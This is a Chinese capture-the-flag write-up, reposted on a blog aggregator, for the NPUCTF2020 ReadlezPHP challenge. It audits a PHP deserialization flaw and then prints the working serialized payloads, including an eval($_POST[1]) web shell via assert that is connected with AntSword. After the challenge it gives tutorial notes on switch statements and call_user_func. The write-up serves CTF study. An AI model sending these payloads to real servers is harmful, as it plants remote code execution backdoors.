反序列化动态调用 [NPUCTF2020]ReadlezPHP1

news2024/9/22 9:48:17

在源代码上看到提示

访问一下看看

代码审计一下

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

@$ppp = unserialize($_GET["data"]);和执行漏洞：echo $b($a);

在__destruct()方法里面有 echo $b($a);

这个是php的特性，php可以通过这种方法动态调用方法

我们可以利用这个特性弄一个后门

做题

代码如下

<?php
highlight_file(_FILE_);
class HelloPhp
{
    public $a = 'eval($_POST[1])';
  public $b = "assert";
  public function __destruct()
  {
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
   }
    echo $c =urlencode(serialize(new HelloPhp));

//输出 O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22eval%28%24_POST%5B1%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功

蚁剑连接一下

但是进去却什么都没有

那我们修改代码，改去访问phpinfo

<?php
highlight_file(_FILE_);
class HelloPhp
{
    public $a = 'phpinfo()';
  public $b = "assert";
  public function __destruct()
  {
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
   }
    echo $c =urlencode(serialize(new HelloPhp));

//输出
O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功访问

得到flag

创建后门的代码也可以为

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c=new HelloPhp;
echo serialize($c);

//输出
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

一样的结果

或者把assert函数换成call_user_func函数

也就是call_user_func(phpinfo)

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = "phpinfo";
        $this->b = "call_user_func";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c=new HelloPhp;
echo serialize($c);


//输出结果
O:8:"HelloPhp":2:{s:1:"a";s:7:"phpinfo";s:1:"b";s:14:"call_user_func";}

知识点：

php 根据函数名称动态调用函数 call_user_func

一般情况下，我们想要调用一个函数直接在PHP代码中写上该函数的名称，后面加上一对小括号即可。

实例：

   switch的特性

switch 是“开关”的意思，它也是一种“选择”语句，但它的用法非常简单。switch 是多分支选择语句。说得通俗点，多分支就是多个 if。

从功能上说，switch 语句和 if 语句完全可以相互取代。但从编程的角度，它们又各有各的特点，所以至今为止也不能说谁可以完全取代谁。

当嵌套的 if 比较少时（三个以内），用 if 编写程序会比较简洁。但是当选择的分支比较多时，嵌套的 if 语句层数就会很多，导致程序冗长，可读性下降。因此C语言提供 switch 语句来处理多分支选择。所以 if 和 switch 可以说是分工明确的。在很多大型的项目中，多分支选择的情况经常会遇到，所以 switch 语句用得还是比较多的。

switch的一般形式如下：

switch (表达式)
{
    case 常量表达式1：    语句1
    case 常量表达式2：    语句2
       ┇
    case 常量表达式n：    语句n
    default:        语句n+1
}

说明：
1) switch 后面括号内的“表达式”必须是整数类型。也就是说可以是 int 型变量、char 型变量，也可以直接是整数或字符常量，哪怕是负数都可以。但绝对不可以是实数，float 型变量、double 型变量、小数常量通通不行，全部都是语法错误。

2) switch 下的 case 和 default 必须用一对大括号{}括起来。

3) 当switch后面括号内“表达式”的值与某个case后面的“常量表达式”的值相等时，就执行此case后面的语句。执行完一个case后面的语句后，流程控制转移到下一个case继续执行。如果你只想执行这一个case语句，不想执行其他case，那么就需要在这个case语句后面加上break，跳出switch语句。

再重申一下：switch是“选择”语句，不是“循环”语句。很多新手看到break就以为是循环语句，因为break一般给我们的印象都是跳出“循环”，但break还有一个用法，就是跳出switch。

4) 若所有的 case 中的常量表达式的值都没有与 switch 后面括号内“表达式”的值相等的，就执行 default 后面的语句，default 是“默认”的意思。如果 default 是最后一条语句的话，那么其后就可以不加 break，因为既然已经是最后一句了，则执行完后自然就退出 switch 了。

5) 每个 case 后面“常量表达式”的值必须互不相同，否则就会出现互相矛盾的现象，而且这样写造成语法错误。

6) “case常量表达式”只是起语句标号的作用，并不是在该处进行判断。在执行 switch 语句时，根据 switch 后面表达式的值找到匹配的入口标号，就从此标号开始执行下去，不再进行判断。

7) 各个 case 和 default 的出现次序不影响执行结果。但从阅读的角度最好是按字母或数字的顺序写。

8) 当然你也可以不要 default 语句，就跟 if…else 最后不要 else 语句一样。但最好是加上，后面可以什么都不写。这样可以避免别人误以为你忘了进行 default 处理，而且可以提醒别人 switch 到此结束了。

再例如

<?php
//计算两数之和
function add($a,$b){
    return $a+$b;
}
//计算两数之差
function jian($c,$d){
    return $c-$d;
}
$function_name="add";  //模拟用户的选择
$n1=2;
$n2=3;
根据函数名称字符串执行对应方法
switch($function_name){
    case "add":
    echo add($n1,$n2);
    break;
    case "jian":
    echo jian($n1,$n2);
    break;
    default:
        break;
}
//运行结果：5

不过，这里只是两个函数的情况，如果用户可以自行输入的函数名称非常多，难道我们只能老老实实地去写类似上面例子中的一个个case子句？此外，如果我们想要实现用户输入任何一个函数名称，不管是PHP内置的函数还是我们自己定义的函数，只要该函数存在，用户就可以通过输入对应的函数名称来调用，这个时候我们该怎么办呢？有没有一种方法能够实现：只要用户输入一个函数名称和参数，我们就直接根据函数名称调用对应的函数呢？

PHP已经给我们提供了能够实现上述功能的函数——call_user_func()和call_user_func_array()。我们只需要将函数名称作为第一个参数，调用该函数所需的参数作为第2~N个参数传递给call_user_func()即可(call_user_func_array()与此类似，不过除了作为函数名称的第一个参数外，后面调用函数所需的参数是以数组的形式整体传递进去的)。

实例：

<?php

function add($a,$b){
    return $a+$b;
}
function jian($c,$d){
    return $c-$d;
}
$function_name="add";
$n1=2;
$n2=3;

/*switch($function_name){
    case "add":
    echo add($n1,$n2);
    break;
    case "jian":
    echo jian($n1,$n2);
    break;
    default:
        break;
}
*/
//调用自定义的函数
echo call_user_func($function_name,$n1,$n2); //输出5
echo "\n";
echo call_user_func_array($function_name,array($n1,$n2));//输出5
echo "\n";
echo call_user_func('pow',2,6);//输出64
print "\n";
echo call_user_func_array('pow',array(2,6));//输出64
printf("\n");
echo call_user_func("pi");//，相当于pi，输出3.1415926535898

知识点参考：switch case语句，switch case用法详解

https://www.cnblogs.com/xuelisheng/p/9416905.html

基本数据类型：

整型int、浮点型float、字符型char

PHP assert 和 eval

isset函数 用于检测变量是否已设置并且非 NULL。

assert 断言检测 用于判断一个表达式是否成立，返回true or false

例如，会输出hi

assert()可以将整个字符串参数当作php参数执行，
而类似的eval()函数是执行合法的php代码，eval()里的引号必须是双引号，因为单引号不能解析字符串里的变量$str，且必须以分号结尾，函数调用除外。

参考文章：

PHP assert 和 eval_eval((true or false))-CSDN博客

[NPUCTF2020]ReadlezPHP 1-CSDN博客

https://www.cnblogs.com/upfine/p/16417465.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1552503.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【Go】结构体中Tag标识

【Go】结构体中Tag标识

https://blog.csdn.net/weixin_45193103/article/details/123876319 https://blog.csdn.net/qq_49723651/article/details/122005291 https://juejin.cn/post/7005465902804123679 学一点&#xff0c;整一点&#xff0c;基本都是综合别人的&#xff0c;弄成我能理解的内容 Tag定…
阅读更多...
ubuntu编译OpenCV and seetaFace2

ubuntu编译OpenCV and seetaFace2

opencv opencv-4.5.2 opencv_contrib-4.5.2 SeetaFace2 SeetaFace2-master https://github.com/seetafaceengine 指定安装目录&#xff0c;和OpenCV放一个目录下了 安装前 安装 安装后 Qt安装 Windows下 Linux下 报错1 原因&#xff1a; 报错…
阅读更多...
CMS（内容管理系统）

CMS（内容管理系统）

一、系统的编写可以在开源网站上下载一个相关项目&#xff0c;然后做2次开发 企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMs等; B2C商城系统:商派Shopex、ECshop、HiShop、XpShop等; 门户建站系统:DedeCMS(织梦)、帝国CMS、PHPCMS、动易、CmsTop等; 博客系统:WordPres…
阅读更多...
【JavaWeb】Day18.Vue组件库Element

【JavaWeb】Day18.Vue组件库Element

什么是Element Element&#xff1a;是饿了么团队研发的&#xff0c;一套为开发者、设计师和产品经理准备的基于 Vue 2.0 的桌面端组件库。组件&#xff1a;组成网页的部件&#xff0c;例如 超链接、按钮、图片、表格、表单、分页条等等。官网&#xff1a;Element - The worlds…
阅读更多...
Capture One Pro 22 for Mac/win：重塑RAW图像处理的艺术

Capture One Pro 22 for Mac/win：重塑RAW图像处理的艺术

在数字摄影的世界里&#xff0c;RAW图像处理软件无疑是摄影师们手中的魔法棒&#xff0c;而Capture One Pro 22无疑是这一领域的璀璨明星。这款专为Mac和Windows系统打造的图像处理软件&#xff0c;以其出色的性能、丰富的功能和极致的用户体验&#xff0c;赢得了全球摄影师的广…
阅读更多...
C++优先队列——priority_queue，函数对象，labmda表达式，pair等

C++优先队列——priority_queue，函数对象，labmda表达式，pair等

头文件&#xff1a;#include<queue> 内部使用堆来实现&#xff0c;在需要或得最大的几个值或最小的几个值而不关心整个数组的顺序时非常好用。 用法&#xff1a; priority_queue<int, vector<int>, greater<int>>q; 第一个参数为堆中存储的元素。 …
阅读更多...
Rust控制台输出跑马灯效果，实现刷新不换行，实现loading效果

Rust控制台输出跑马灯效果，实现刷新不换行，实现loading效果

要在 Rust 中实现控制台刷新而不换行&#xff0c;以实现类似 "loading" 状态的效果&#xff0c;你可以使用 \r&#xff08;回车符&#xff09;来覆盖上一行的内容。 use std::io::{self, Write}; use std::thread; use std::time::Duration;fn main() {let loading_…
阅读更多...
使用Jenkins打包时执行失败，但手动执行没有问题如ERR_ELECTRON_BUILDER_CANNOT_EXECUTE

使用Jenkins打包时执行失败，但手动执行没有问题如ERR_ELECTRON_BUILDER_CANNOT_EXECUTE

具体错误信息如&#xff1a; Error output: Plugin not found, cannot call UAC::_ Error in macro _UAC_MakeLL_Cmp on macroline 2 Error in macro _UAC_IsInnerInstance on macroline 1 Error in macro _If on macroline 9 Error in macro FUNCTION_INSTALL_MODE_PAGE_FUNC…
阅读更多...
国外的Java面试题和国内的相比谁更卷

国外的Java面试题和国内的相比谁更卷

前言 有很多朋友很好奇国外的Java面试题长啥样&#xff0c;今天我们就去找5道国外的面试来和国内的对比一下看看谁难一些&#xff01; 面试题分享 1. Is Java Platform Independent if then how?&#xff08; Java平台是独立的吗&#xff1f;&#xff09; Yes, Java is a…
阅读更多...
分享react+three.js展示温湿度采集终端

分享react+three.js展示温湿度采集终端

前言 气象站将采集到的相关气象数据通过GPRS/3G/4G无线网络发送到气象站监测中心&#xff0c;摆脱了地理空间的限制。 前端&#xff1a;气象站主机将采集好的气象数据存储到本地&#xff0c;通过RS485等线路与GPRS/3G/4G无线设备相连。 通信&#xff1a;GPRS/3G/4G无线设备通…
阅读更多...
Cocos2dx-lua ScrollView[三]高级篇

Cocos2dx-lua ScrollView[三]高级篇

一.概述 本文缩写说明&#xff1a;sv ScrollView, cell代表ScrollView的一个子节点 本文介绍sv的一种封装类库&#xff0c;来实现快速创建sv&#xff0c;有如下几个优点&#xff1a; 1.item的位置通过参数控制&#xff0c;提高开发效率 2.免去了调用sv的API&#xff0c;提…
阅读更多...
[flink] flink macm1pro 快速使用从零到一

[flink] flink macm1pro 快速使用从零到一

文章目录 快速使用 快速使用 打开 https://flink.apache.org/downloads/ 下载 flink 因为书籍介绍的是 1.12版本的&#xff0c;为避免不必要的问题&#xff0c;下载相同版本 解压 tar -xzvf flink-1.11.2-bin-scala_2.11.tgz启动 flink ./bin/start-cluster.sh打开 flink web…
阅读更多...
【JavaSE】String类详解

【JavaSE】String类详解

目录 前言 1. 什么是String类 1.1 String的构造 1.2 String类的基本操作&#xff1a;打印、拼接、求字符串长度 2. String类的常用方法 2.1 字符串查找 2.2 字符串替换 2.3 字符串拆分 2.4 字符串截取 2.5 字符串和其他类型的转换 2.6 去除字符串左右两边的空格 3.…
阅读更多...
大模型 智能体 智能玩具 智能音箱 构建教程 wukong-robot

大模型 智能体 智能玩具 智能音箱 构建教程 wukong-robot

视频演示 10:27 一、背景 继上文《ChatGPT+小爱音响能擦出什么火花？》可以看出大伙对AI+硬件的结合十分感兴趣，但上文是针对市场智能音响的AI植入，底层是通过轮询拦截，算是hack兼容，虽然官方有提供开发者接口，也免不了有许多局限性（比如得通过特定指令唤醒），不利于我…
阅读更多...
计算机网络——29ISP之间的路由选择：BGP

计算机网络——29ISP之间的路由选择：BGP

ISP之间的路由选择&#xff1a;BGP 层次路由 一个平面的路由 一个网络中的所有路由器的地位一样通过LS&#xff0c;DV&#xff0c;或者其他路由算法&#xff0c;所有路由器都要知道其他所有路由器&#xff08;子网&#xff09;如何走所有路由器在一个平面 平面路由的问题 …
阅读更多...
JavaEE初阶Day 4：多线程（2）

JavaEE初阶Day 4：多线程（2）

目录 Day4&#xff1a;多线程&#xff08;2&#xff09;1. catch语句2. sleep的处理3. Thread3.1 Thread构造方法3.2 Thread的属性3.2.1 ID3.2.2 优先级3.2.3 后台线程3.2.4 存活3.2.5 start3.2.6 中断3.2.6.1 控制线程结束代码3.2.6.2 interrupt和isInterrupted Day4&#xff…
阅读更多...
学习笔记——微信小程序读取当前时间

学习笔记——微信小程序读取当前时间

<view class"box"><text>日期:</text><view class"date">{{obtaindate}}</view></view> wxml中定义了一个文本元素&#xff0c;通过{{obtaindate}}获取js页面传递的日期数据 data:{obtaindate:"" }, onlo…
阅读更多...
公链角逐中突围，Solana 何以成为 Web3 世界的流量焦点？

公链角逐中突围，Solana 何以成为 Web3 世界的流量焦点？

在众多区块链公链中&#xff0c;Solana 凭借其创纪录的处理速度和极低的交易费用&#xff0c;成为了众多开发者和投资者的宠儿。就像网络上流行的那句话所说&#xff1a;“Why slow, when you can Solana?”&#xff0c;Solana 正以它的速度和强大的生态系统&#xff0c;重新定…
阅读更多...
nacos的各种类型的配置文件 yml 、json、 Properties、 text 等文件类型 发生变化怎么热更新，实现实时监听nacos配置文件变化

nacos的各种类型的配置文件 yml 、json、 Properties、 text 等文件类型 发生变化怎么热更新，实现实时监听nacos配置文件变化

本文用的是 Nacos作为配置中心注册监听器方法 实现热更新 nacos 配置文件 从而不用重启项目 依赖、工具类 这边就不写了 因为项目用的是 Json 类型的配置文件 所以下文 主要是对json文件进行实现 别的文件大同小异 先说扯淡的东西 在nacos 的配置文件中 dataId 这两种声明 是…
阅读更多...
Postman传对象失败解决

Postman传对象失败解决

文章目录 情景复现解决方案总结 情景复现 postman中调用 debug发现pId传入失败 分析解释&#xff1a; 实体类中存在pId、uid和num字段 controller层将GoodsCar作为请求体传入 解决方案 当时觉得很奇怪&#xff0c;因为uid和num可以被接收&#xff0c;而pId和num的数据类型相…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023